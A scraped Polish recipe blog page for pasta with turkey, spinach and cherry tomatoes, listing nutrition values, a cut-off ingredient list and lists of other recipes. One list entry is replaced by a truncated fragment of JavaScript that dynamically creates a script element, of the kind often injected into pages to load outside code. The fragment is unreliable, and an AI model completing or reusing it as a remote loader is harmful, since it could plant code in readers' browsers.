Makaron z indykiem, szpinakiem i pomidorkami koktaljowymi
Źródło: https://wojtigotuje.blogspot.com/2017/05/makaron-z-indykiem-szpinakiem-i.html
Wartosci odzywcze:Energetycznosc posilku: 727,27 kcalBialko: 47,76 gTluszcz: 30,86 gWeglowodany: 67,39 gSkladniki:Filet z indyka - 1,25 porcji (130 g)Makaron pelnoziarnisty - 1 szklanka (75 g)Oliwa z oliwek - 2 lyzki (17 g)Szpinak (swiezy) - 1,25 garsci (22 g)Slonecznik - 1 lyzka (11 g)Ser parmezan - 0,5 porcji (11 g)Orzechy nerkowca - 0,25 garsci (11 g)Pomidorki koktajlowe - 4,5 sztuki (90 ...
Najnowsze przepisy
(function(){ zz99=document.createElement("script");zz99_=("o ⇖ 16
Proste połączenie ale zdecydowanie zawsze się sprawdza.... ⇖ 25
Miodownik bez jajek – mięciutki, puszysty i pięknie... ⇖ 24
Pyszny przepis na noodle z mięsem mielonym. Szybki,... ⇖ 24
Wyobraź sobie ten moment: wyjmujesz z piekarnika idealną... ⇖ 14
Przepisy z bloga
Placuszki z Ricotty i Cytryną – Puszyste Jak Chmurka... ⇖ 76
Chili con Carne w 30 Minut – Ekspresowy Obiad z Jednego... ⇖ 73
Twarożek z Wędzonym Łososiem i Koperkiem – Idealny na... ⇖ 77
Nuggetsy z Piekarnika w Płatkach Kukurydzianych –... ⇖ 67
Pulpety Drobiowe w Sosie Koperkowym – Obiad, Który Otula... ⇖ 96
Owsianka Brownie Kakao + Banan – Śniadanie/Fit, Które... ⇖ 101
Kurczak w Sosie Serowym z Brokułem (One-Pot) – Szybki... ⇖ 99
Jaglanka Pieczona z Gruszką i Cynamonem – Rozgrzewające... ⇖ 82
Przepisy na czasie
Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 357
Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 263
Przepyszny domowy pasztet do smarowania. W sklepie tak... ⇖ 210
Paszteciki z mięsem, z ciasta drożdżowo-kruchego to... ⇖ 183
Tulipany do barszczyku to znakomita propozycja podania... ⇖ 169
Pyszny miodownik z kakaową masą grysikową i z orzechami... ⇖ 151
Idealne danie na ciepło na imprezy, lub na obiad. Przepis... ⇖ 70
Domowe pralinki są smaczne, łatwe do zrobienia i... ⇖ 65
